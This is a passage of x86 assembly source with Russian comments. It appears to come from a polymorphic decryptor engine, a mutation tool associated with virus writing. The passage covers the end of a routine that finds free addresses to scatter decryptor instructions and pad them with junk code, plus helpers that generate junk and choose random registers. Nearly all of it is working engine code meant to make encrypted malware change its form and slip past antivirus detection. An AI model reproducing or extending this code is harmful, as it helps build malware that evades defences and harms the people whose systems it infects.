push max_portion ;а вот это диапазон, в котором искать будем свободный адрес call [edx].rgen_addr add eax,dword ptr [ebp-16] ;добавялем адрес, который является началом данного промежутка xchg eax,edi mov ecx,dword ptr [esp] ;далее в ecx кладем количество байт, которое надо будет позже записать (это мусорные команды + важные команды (скелет декриптора)) по свободному адресу add ecx,size_general_instr+5+4+2+min_portion xor eax,eax push edi repe scasb ;и проверяем, занято ли данное место? pop edi jne _find_free_addr_ ;если да, продолжаем искать stosd ;иначе мы нашли свободный адрес, и корректируем edi (edi+=4, это нужно от коллизий) jmp _ok_new_addr_ ;переходим дальше _correct_new_addr_: add dword ptr [ebp-16],min_portion;+1 ;изменим диапазон поиска свободных адресов jmp _new_addr_ _ok_new_addr_: push edi cmp edi,dword ptr [esp+4+12] ;если полученный свободный адрес меньше, чем текущий, то ясное дело, нужно записать jmp для перехода на этот новый адрес jle _jc_ok_ push size_general_instr+5+4+2+min_portion pop ecx ;иначе, проверим, если текущий адрес стоит совсем рядом с новым, то jmp делать не будем, и заполним свободное место между ними мусором std xor eax,eax repe scasb cld je _jc_ok_ ;если они рядом не стоят, тогда запишем jmp cmp edi,dword ptr [esp+4+12] jg _jc_ok_ mov edi,dword ptr [esp+4+12] mov eax,dword ptr [esp] sub eax,edi call gen_trash clc jmp _getfaret_ _jc_ok_: stc _getfaret_: pop eax pop ecx pop ecx pop esi pop edi ret ;выходим ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;конец функции get_free_addr ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;вспомогательная функция gen_trash для вызова генератора мусора ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx gen_trash: mov [ebp].buf_for_trash,edi mov [ebp].size_trash,eax mov [ebp].regs,ebx push ebp call [edx].tgen_addr xchg eax,edi ret ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;конец функции gen_trash ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;функция gen_reg ;генерация занятых регистров (а зяняты они будут в полидекрипторе) ;ВЫХОД: ;bh - reg1 ;bl - reg2 ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx gen_reg: _gen_reg1_: call random_reg cmp al,4 je _gen_reg1_ cmp al,5 je _gen_reg1_ xchg eax,ebx _gen_reg2_: call random_reg cmp al,4 je _gen_reg2_ cmp al,5 je _gen_reg2_ cmp al,bl je _gen_reg2_ mov bh,al ret ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;конец функции gen_reg ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;вспомогательная функция генерации случайного регистра ;ВЫХОД: ;eax - случайный регистр ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx random_reg: push 8 call [edx].rgen_addr ret ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;конец функции random_reg ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;======================================================================================================== FINESize equ $ - FINE